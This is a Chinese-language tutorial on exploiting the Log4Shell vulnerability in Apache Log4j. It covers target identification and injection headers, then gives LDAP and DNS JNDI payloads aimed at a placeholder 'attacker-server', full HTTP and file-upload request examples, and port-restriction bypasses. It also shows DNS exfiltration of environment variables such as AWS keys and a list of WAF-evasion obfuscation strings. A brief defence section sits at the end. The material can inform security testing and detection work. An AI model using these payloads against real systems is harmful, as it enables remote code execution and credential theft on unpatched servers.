Log4Shell (CVE-2021-44228) 漏洞利用全面指南
1. Log4Shell漏洞概述
1.1 什么是Log4j
Apache Log4j是Java生态系统中部署最广泛的日志记录框架之一,由Apache Software Foundation开发,广泛用于企业应用程序、Web服务和其他类型的系统。作为日志记录库,Log4j使开发人员能够在任何应用程序类型中使用可配置的输出格式和目标来记录应用程序事件、调试信息和系统状态消息。
1.2 Log4Shell漏洞本质
Log4Shell (CVE-2021-44228)是Apache Log4j(版本2.0-beta9到2.14.1)中的一个严重远程代码执行漏洞。该漏洞存在于Log4j的消息查找替换功能中,该功能处理日志消息中的特殊语法,以在运行时动态解析和替换值。
核心问题:Log4J对日志消息中JNDI(Java命名和目录接口)查找的处理。当Log4J遇到包含JNDI查找语法的特制字符串时,它会自动尝试通过连接到外部服务器并从远程位置加载Java类来解析引用。
关键点:
- 无论日志级别配置如何,这种行为都会发生
- 只要用户控制的数据到达日志框架,即使只记录ERROR或FATAL消息的应用程序也会受到攻击
2. Log4Shell漏洞利用原理
2.1 攻击流程
- 日志消息处理:应用程序记录了一条包含恶意字符串的消息,无论是直接记录还是通过用户控制的输入记录
- 查找解析:Log4J的PatternLayout识别${}语法并触发查找机制
- JNDI连接:JNDI子系统与查找字符串中指定的攻击者控制的服务器建立连接
- 类加载:远程服务器对Java类的引用进行响应,Log4J会自动下载该类并将其加载到应用程序的内存空间中
- 代码执行:恶意类在易受攻击的应用程序的上下文中执行,授予攻击者与应用程序进程相同的权限
2.2 历史背景
JNDI攻击早在Log4Shell攻击之前就已经存在。2016年,研究人员Alvaro Muñoz和Oleksandr Mirosh在BlackHat的一次演讲中描述了Log4Shell的根本原因。
3. 识别易受攻击的目标
3.1 Java应用程序识别
- 搜索服务器响应标头,如Apache-Coyote、Jetty或其他自定义Java应用程序服务器
- 检查正在访问的应用程序路由的文件扩展名
- 查找HTML注释中包含对Spring、Struts或JSF等Java框架的引用
- 使用BuiltWith和Wappalyzer等工具对网站技术进行指纹识别
3.2 潜在注入点
任何记录用户可控数据的应用程序功能都是潜在的注入点:
- 记录用户名和失败登录尝试的身份验证端点
- 分析服务记录user agents、referrer headers和请求参数
- 请求正文、标头和其它元数据的API端点
- 文件上传功能记录处理错误,包括文件名、文件大小等
- 错误处理中间件,记录异常详细信息(包括导致异常的用户输入)
- 记录系统事件的审计和合规性服务
3.3 常见注入位置
以下HTTP请求header是常见的注入点:
User-Agent
Referer
X-Original-URL
X-Host
X-Forwarded-For
X-Forwarded-Proto
X-Forwarded-Host
CF-Connecting-Ip # 如果目标在Cloudflare后面
True-Client-Ip # 如果目标在Cloudflare后面
4. Log4Shell Payload构造与利用
4.1 基本Payload示例
${jndi:ldap://attacker-server:1389/path-to-java-class}
4.2 HTTP请求注入示例
POST /e/c?utm_source=%24%7Bjndi%3Aldap%3A%2F%2Fattacker-server%3A1389%2Fpath%2Dto%2Djava%2Dclass%7D HTTP/1.1
Host: target.example.com
Content-Type: application/json
User-Agent: ${jndi:ldap://attacker-server:1389/path-to-java-class}
X-Forwarded-For: ${jndi:ldap://attacker-server:1389/path-to-java-class}
Content-Length: 248
{"$event_type": "${jndi:ldap://attacker-server:1389/path-to-java-class}",
"$event_name": "${jndi:ldap://attacker-server:1389/path-to-java-class}",
"$event_time": "${jndi:ldap://attacker-server:1389/path-to-java-class}"}
建议:为每个请求注入一个Payload,这样可以轻松跟踪可能的交互并找到易受攻击的请求。
4.3 绕过端口限制
如果目标服务器限制了出站连接端口,可以尝试常用端口:
${jndi:ldap://attacker-server:80/existing-java-class}
${jndi:ldap://attacker-server:443/existing-java-class}
${jndi:ldap://attacker-server:8080/existing-java-class}
${jndi:ldap://attacker-server:8443/existing-java-class}
4.4 通过DNS利用
当TCP连接被完全阻止时,可以使用DNS协议:
${jndi:dns://attacker-server/}
5. 高级利用技术
5.1 数据泄露技术
通过嵌套的JNDI查找可以泄露敏感数据:
${jndi:dns://${env:HOST}.attacker-server/}
可用查找类型:
${env:VARIABLE_NAME} # 获取环境变量(HOST, PATH, HOME, AWS keys等)
${sys:property.name} # 获取Java系统属性(user.name, java.version等)
${ctx:key} # 从Thread Context Map (MDC)获取值
${map:key} # 从事件的context map获取值
${hostName} # 获取本地主机名
${docker:containerId} # 获取Docker容器ID(如果在容器中运行)
${docker:containerName} # 获取Docker容器名称
${docker:imageName} # 获取Docker镜像名称
${date:yyyy-MM-dd} # 以指定格式获取当前日期
${date:HH:mm:ss} # 以指定格式获取当前时间
${date:yyyy-MM-dd HH:mm:ss} # 获取当前日期和时间
${lower:j} # 将字符转换为小写(用于Payload混淆和WAF绕过)
5.2 Payload混淆技术
${${lower:j}ndi:${lower:l}dap://attacker-server/path-to-java-class}
${${upper:j}NDI:${upper:l}DAP://ATTACKER-SERVER/PATH-TO-JAVA-CLASS}
${j${lower:n}di:l${lower:d}ap://attacker-server/path-to-java-class}
${${lower:jndi}:${lower:ldap}://attacker-server/path-to-java-class}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker-server/path-to-java-class}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker-server/path-to-java-class}
${j${env:EMPTY:-}ndi:l${env:EMPTY:-}dap://attacker-server/path-to-java-class}
${jn${env::-}di:l${env::-}dap://attacker-server/path-to-java-class}
${${date:j}ndi:ldap://attacker-server/path-to-java-class}
${jndi:${sys:line.separator}ldap://attacker-server/path-to-java-class}
5.3 通过文件上传利用
将Payload嵌入上传的文件名中:
POST /api/my-files/upload HTTP/1.1
Host: app.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="${jndi:ldap://attacker-server/path-to-java-class}.pdf"
Content-Type: application/pdf
<PDF file content here>
------WebKitFormBoundary--
5.4 通过格式错误的文件利用
上传格式错误的SVG文件:
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<text>Log4Shell PoC</text>
</svg_${jndi:ldap://attacker-server/path-to-java-class}
Error at line 3: Tag "svg_${jndi:ldap://attacker-server/path-to-java-class}" is an invalid name.
6. 防御措施
虽然本文主要关注漏洞利用,但了解防御措施同样重要:
- 升级Log4j:升级到2.15.0或更高版本
- JVM参数:设置
-Dlog4j2.formatMsgNoLookups=true - 移除JndiLookup类:从log4j-core JAR文件中删除
- 网络限制:限制出站网络连接
- WAF规则:配置WAF检测和阻止Log4Shell攻击
- 输入验证:对所有用户输入进行严格验证
7. 总结
Log4Shell是一个极其严重的漏洞,影响范围广泛。理解其工作原理和利用技术对于安全研究人员和防御者都至关重要。本文详细介绍了从基本利用到高级绕过技术的各个方面,为安全测试提供了全面的参考。